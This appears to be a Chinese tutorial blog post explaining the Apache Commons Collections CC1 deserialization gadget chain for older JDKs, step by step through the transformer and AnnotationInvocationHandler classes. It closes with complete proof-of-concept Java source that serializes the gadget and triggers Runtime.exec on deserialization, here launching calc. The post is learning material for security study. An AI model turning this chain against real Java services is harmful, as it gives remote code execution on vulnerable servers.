赞
踩
Java Commons Collections的利用链也被称为cc链,是在学习反序列化漏洞必不可少的一个部分。首先先介绍一下Commons Collection组件,Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合⼯ 具类。
collection是set,list,queue的抽象。
作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。
CC1链影响版本
jdk<8u71,因为在之后的版本中有个利用点改了逻辑,这条链无法成功调用
我们利用链的操作,首先要找到一个可以任意执行命令的地方,然后一步一步的向上调用,直到调用到到readobject这个方法,这是我们的思路
然后我们先看看继承的类,主要以下几个ConstantTransformer类,返回一个我们设置的常量
ChainedTransformer类,传入一个transform数组,然后将数组里的元素以一个递归的方式调用,进行一个链式的调用
重点是继承类,这里写的已经很像一个rce的漏洞点了,我们可以通过他进行任意命令执行
我们先用反射写一个最简单的shell
接下来我们用InvokerTransformer写一个
ok,成功,所以说这个都像是后门的写法了
发现TransformMap类中有checkSetValue方法调用了transform,我们先看这个方法的构造参数
发现参数就是map的key和value,但是这是个protected方法,熟悉单例模式就知道我们还需要一个方法来调用这个对象
找到是decorate方法,ok接下来我们测试代码
ok,这时我们就只有一个问题,那就是怎么吧runtime的实例化对象放到transform方法的参数中去,我们看checkSetValue中的Value参数我们怎么控制,转换为谁调用了checkSetValue
我们找到是这个setValue方法,在MapEntry类中调用了
那么mapentry我们熟不熟悉呢,其实是遍历map的一种写法
for(Map.Entry<Integer,String> entry:map.entrySet()){
System.out.println(entry.getKey());
System.out.println(entry.getValue());
};
然后我们继续向上找,找到readobject方法,重点看这里,下面是他的构造方法map是我们能控制的,第一个是注解类的泛型
但是这个类不是pubilc所以我们必须靠反射来获取,如下
到现在离成功还有三步,我们需要解决三个问题,1我们发现他这里调用的setvalue传入的是new AnnotationTypeMismatchExceptionProxy这种类型的对象 2.Runtime类没有继承Serializable,我们只能引入Class
3.在最后的if判断中到不了setValue
我们一个一个解决
首先是Runtime的不可反序列化的问题,我们用Class来替代,如下写法
我们再利用InvokerTransformer方法一步一步调用方法,直到调用到exec方法,但是有些繁琐,我们可以用ChainedTransformer,他的功能就是传入一个transformer数组,然后递归调用transform方法,我们只需传入一个参数即可,如下:
然后再看if判断的问题,重点看这串代码
var6其实就是我们传入的map的key,我们假设他的key是“xxx”,而var3就是我们传入的注解类,看到var7=var3.get(var6),我们知道这是用get方法获取名字为map的key值的变量,所以我们需要一个注解类,他必须要有成员变量,并且我们map的key值还必须与他相等,这样才能让var7能获取到值,我们找到了Target类,他的成员变量正好有一个Value
非常合适,调试发现成功进入
ok,接下来只剩下一个问题了,那就是最后一步setValue的问题了,我们想传的是Value是Runtime.class,但是他这里自动传入了一个其他对象,所以我们要想办法将他的Value值修改
我们正常调试,到了checkSetValue这一步,发现他的valueTransformer就是我们定义的ChainedTransformer,但是Value不对
所以我们需要在他之前换掉,这时就用到了ContantTransformer,他的transform方法是不管输入什么都返回一个固定的值,所以我们想到能不能在执行ChainedTransfoemer中的InvokerFormer之前先执行一遍ContantTransfor将这个我们不需要的对象转换为我们需要的Runtime.class呢
继续执行
发现object已经成功换掉,成功弹了calc
附上源码:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC1Test { public static void main(String[] args) throws Exception { // Runtime r =Runtime.getRuntime(); Class c=Runtime.class; Method execMethod =c.getMethod("exec", String.class); execMethod.invoke(r,"calc"); // // InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); // Method getRuntimeMethed=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); // Runtime r =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethed); // new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); // chainedTransformer.transform(Runtime.class); // Class c= Runtime.class; // Method getRuntimeMethod = c.getMethod("getRuntime",null); // Runtime r=(Runtime) getRuntimeMethod.invoke(null,null); // Method execMethod = c.getMethod("exec", String.class); // execMethod.invoke(r,"calc"); HashMap<Object,Object> map = new HashMap<>(); map.put("value","value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer); // // for (Map.Entry entry : transformedMap.entrySet()){ // entry.setValue(r); // } Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationghdlConstructor = c.getDeclaredConstructor(Class.class,Map.class) ; annotationInvocationghdlConstructor.setAccessible(true); Object o = annotationInvocationghdlConstructor.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename)); Object obj =ois.readObject(); return obj; } }
这周继续更新
ows IOException,ClassNotFoundException{
ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename));
Object obj =ois.readObject();
return obj;
}
}
这周继续更新
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。